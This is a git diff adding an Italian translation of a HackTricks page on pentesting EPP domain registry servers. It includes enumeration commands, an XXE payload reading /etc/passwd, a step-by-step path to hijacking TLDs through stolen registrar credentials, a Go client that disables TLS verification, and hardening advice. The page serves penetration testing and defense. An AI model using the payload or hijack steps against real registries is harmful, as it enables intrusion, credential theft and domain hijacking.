mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to
This commit is contained in:
Translator
parent
8a49853180
commit
64c5afdf18
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di base
|
||||
## Informazioni di Base
|
||||
|
||||
Il Protocollo di Provisioning Estensibile (EPP) è un protocollo di rete utilizzato per la **gestione dei nomi di dominio e di altre risorse internet** da parte dei registri e dei registrar di nomi di dominio. Consente l'automazione dei processi di registrazione, rinnovo, trasferimento e cancellazione dei nomi di dominio, garantendo un framework di comunicazione standardizzato e sicuro tra le diverse entità nel sistema dei nomi di dominio (DNS). L'EPP è progettato per essere flessibile ed estensibile, consentendo l'aggiunta di nuove funzionalità e comandi man mano che le esigenze dell'infrastruttura internet evolvono.
|
||||
|
||||
@ -10,6 +10,106 @@ Fondamentalmente, è uno dei protocolli che un **registrar TLD offrirà ai regis
|
||||
|
||||
### Pentest
|
||||
|
||||
[**In questo articolo molto interessante**](https://hackcompute.com/hacking-epp-servers/) puoi vedere come alcune ricerche di sicurezza hanno scoperto che diverse **implementazioni di questo protocollo** erano vulnerabili a XXE (XML External Entity) poiché questo protocollo utilizza XML per comunicare, il che avrebbe permesso agli attaccanti di prendere il controllo di decine di diversi TLD.
|
||||
[**In questo articolo molto interessante**](https://hackcompute.com/hacking-epp-servers/) puoi vedere come alcuni ricercatori di sicurezza hanno scoperto che diverse **implementazioni di questo protocollo** erano vulnerabili a XXE (XML External Entity) poiché questo protocollo utilizza XML per comunicare, il che avrebbe permesso agli attaccanti di prendere il controllo di decine di diversi TLD.
|
||||
|
||||
---
|
||||
|
||||
## Enumerazione & Ricognizione
|
||||
|
||||
I server EPP ascoltano quasi sempre su TCP `700/tcp` tramite TLS. Un'implementazione tipica applica anche **mutual-TLS (mTLS)** quindi il client deve presentare un certificato valido rilasciato dalla CA del registro. Tuttavia, molte implementazioni private di test o pre-produzione dimenticano quel controllo:
|
||||
```bash
|
||||
# Banner-grabbing / TLS inspection
|
||||
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
|
||||
|
||||
# Check if mTLS is *really* required (it frequently is not!)
|
||||
openssl s_client -connect <target>:700 -quiet \
|
||||
-servername epp.test 2>/dev/null | head
|
||||
```
|
||||
Se il server non termina la connessione dopo il handshake TLS, puoi tentare di inviare un messaggio `<hello/>` non autenticato:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||
<hello/>
|
||||
</epp>
|
||||
```
|
||||
### Client open-source utili per i test
|
||||
|
||||
* **epp-client (Go)** – attivamente mantenuto, supporta TCP/TLS e EPP-over-HTTPS (RFC 8730):
|
||||
`go install github.com/domainr/epp/cmd/epp@latest`
|
||||
* **gandi/go-epp** – libreria client minimale che può essere facilmente strumentata per fuzzing o flussi di lavoro in stile nuclei.
|
||||
* **afq984/php-epp-client** – implementazione PHP utilizzata da molti piccoli registrar; un obiettivo conveniente per la revisione del codice.
|
||||
|
||||
Esempio di script minimo di login+check con Go epp-client:
|
||||
```go
|
||||
package main
|
||||
import (
|
||||
"github.com/domainr/epp"
|
||||
"crypto/tls"
|
||||
)
|
||||
|
||||
func main() {
|
||||
cfg := &tls.Config{InsecureSkipVerify: true}
|
||||
c, _ := epp.DialTLS("epp.test:700", cfg)
|
||||
c.Login("CLIENT_ID", "PASSWORD", nil)
|
||||
resp, _ := c.DomainCheck("example","com")
|
||||
println(resp)
|
||||
}
|
||||
```
|
||||
---
|
||||
|
||||
## Vulnerabilità e Debolezze Comuni & 2023-2025
|
||||
|
||||
| Anno | Componente | CWE | Impatto |
|
||||
|------|-----------|-----|--------|
|
||||
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Lettura di file remoti & SSRF tramite payload `<epp>` creato (patch: 2023-11-02) |
|
||||
| 2024 | FRED EPP Server 2.x | CWE-322 Validazione insufficiente del certificato TLS | Bypass di mTLS ha consentito accesso non autorizzato al registrar |
|
||||
| 2025 | Pannello registrar proprietario | CWE-306 Mancanza di autenticazione per funzione critica | Endpoint di approvazione del trasferimento di dominio esposto tramite ponte EPP-HTTP |
|
||||
|
||||
### Payload XXE / SSRF (funziona contro molte implementazioni Java/Spring)
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||
<command>
|
||||
<check>
|
||||
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
|
||||
<domain:name>&xxe;</domain:name>
|
||||
</domain:check>
|
||||
</check>
|
||||
</command>
|
||||
</epp>
|
||||
```
|
||||
Quando il parser è mal configurato (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), il contenuto del file viene restituito all'interno della struttura `<resData>`.
|
||||
|
||||
### Altri risultati tipici
|
||||
|
||||
1. **Politica di credenziali debole** – le frasi di accesso EPP più corte di 8 caratteri; il brute-force è spesso fattibile perché la specifica raccomanda solo (non richiede) il rate-limiting.
|
||||
2. **Mancanza di stato `registryLock` / `serverUpdateProhibited`** – una volta autenticati, gli attaccanti possono immediatamente aggiornare i record NS e rubare traffico.
|
||||
3. **Messaggi di polling non firmati** – alcune implementazioni non firmano ancora i messaggi di Q&A del polling, consentendo lo spoofing/phishing degli operatori di registrar.
|
||||
|
||||
---
|
||||
|
||||
## Percorso di attacco: Da Zero a Hijack TLD
|
||||
|
||||
1. Scoprire un endpoint EPP (spesso nascosto dietro un host generico come `ot&e.<tld>.nic.<cc>`).
|
||||
2. Sfruttare una delle vulnerabilità sopra per ottenere credenziali a livello di registrar (XXE → SSRF a IMDSv1, esfiltrazione di credenziali, o bypass TLS).
|
||||
3. Inviare richieste `<update>` per cambiare i record `hostObj` del dominio a server DNS controllati dall'attaccante.
|
||||
4. (Opzionale) Inviare un `<transfer>` per spostare il dominio a un registrar controllato dall'attaccante – molti registry si basano ancora su un **singolo codice di autenticazione**.
|
||||
5. Profitto: pieno controllo della zona DNS, capacità di richiedere certificati TLS tramite ACME.
|
||||
|
||||
---
|
||||
|
||||
## Misure difensive e indurimento
|
||||
|
||||
* Applicare **mTLS con certificati client per registrar** e fissare il CA del registry.
|
||||
* Impostare `parserFeature secure-processing=true` o equivalente per eliminare XXE.
|
||||
* Eseguire **fuzzing continuo** del parser XML (ad esempio, con `go-fuzz` o `jazzer` per Java).
|
||||
* Implementare stati **Registry Lock / server*Prohibited** per domini di alto valore.
|
||||
* Monitorare la coda `poll` per comandi `<transfer>` o `<update>` sospetti e allertare in tempo reale.
|
||||
* Le modifiche al contratto di abuso DNS ICANN 2024 richiedono ai registry di dimostrare controlli di rate-limit e autenticazione – sfruttarli.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
|
||||
* HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user